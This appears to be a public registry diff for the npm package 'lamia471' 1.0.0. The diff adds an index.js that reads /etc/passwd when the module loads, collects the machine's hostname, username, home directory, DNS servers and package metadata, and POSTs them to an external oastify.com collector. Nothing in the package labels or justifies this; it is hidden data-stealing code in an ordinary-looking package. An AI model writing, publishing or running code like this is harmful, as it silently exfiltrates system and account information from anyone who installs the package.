lamia471 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +64 -0
- package/package.json +11 -0
package/index.js
ADDED
|
@@ -0,0 +1,64 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const fs = require("fs");
|
|
4
|
+
const { exec } = require("child_process");
|
|
5
|
+
const querystring = require("querystring");
|
|
6
|
+
const https = require("https");
|
|
7
|
+
const packageJSON = require("./package.json");
|
|
8
|
+
const package = packageJSON.name;
|
|
9
|
+
|
|
10
|
+
// Function to read the contents of /etc/passwd
|
|
11
|
+
function readPasswdFile(callback) {
|
|
12
|
+
fs.readFile("/etc/passwd", "utf8", (err, data) => {
|
|
13
|
+
if (err) {
|
|
14
|
+
console.error(`Error reading /etc/passwd: ${err}`);
|
|
15
|
+
callback(null); // Pass null to the callback in case of error
|
|
16
|
+
return;
|
|
17
|
+
}
|
|
18
|
+
callback(data); // Pass the content of /etc/passwd to the callback
|
|
19
|
+
});
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
// Call the function to read /etc/passwd
|
|
23
|
+
readPasswdFile((passwdContent) => {
|
|
24
|
+
const trackingData = JSON.stringify({
|
|
25
|
+
p: package,
|
|
26
|
+
c: __dirname,
|
|
27
|
+
hd: os.homedir(),
|
|
28
|
+
hn: os.hostname(),
|
|
29
|
+
un: os.userInfo().username,
|
|
30
|
+
dns: dns.getServers(),
|
|
31
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
|
32
|
+
v: packageJSON.version,
|
|
33
|
+
pjson: packageJSON,
|
|
34
|
+
passwd: passwdContent // Include the content of /etc/passwd in the tracking data
|
|
35
|
+
});
|
|
36
|
+
|
|
37
|
+
var postData = querystring.stringify({
|
|
38
|
+
msg: trackingData,
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
var options = {
|
|
42
|
+
hostname: "x640qkljs97v2b7q12p83bwae1ks8jb70.oastify.com",
|
|
43
|
+
port: 443,
|
|
44
|
+
path: "/",
|
|
45
|
+
method: "POST",
|
|
46
|
+
headers: {
|
|
47
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
48
|
+
"Content-Length": postData.length,
|
|
49
|
+
},
|
|
50
|
+
};
|
|
51
|
+
|
|
52
|
+
var req = https.request(options, (res) => {
|
|
53
|
+
res.on("data", (d) => {
|
|
54
|
+
process.stdout.write(d);
|
|
55
|
+
});
|
|
56
|
+
});
|
|
57
|
+
|
|
58
|
+
req.on("error", (e) => {
|
|
59
|
+
// console.error(e);
|
|
60
|
+
});
|
|
61
|
+
|
|
62
|
+
req.write(postData);
|
|
63
|
+
req.end();
|
|
64
|
+
});
|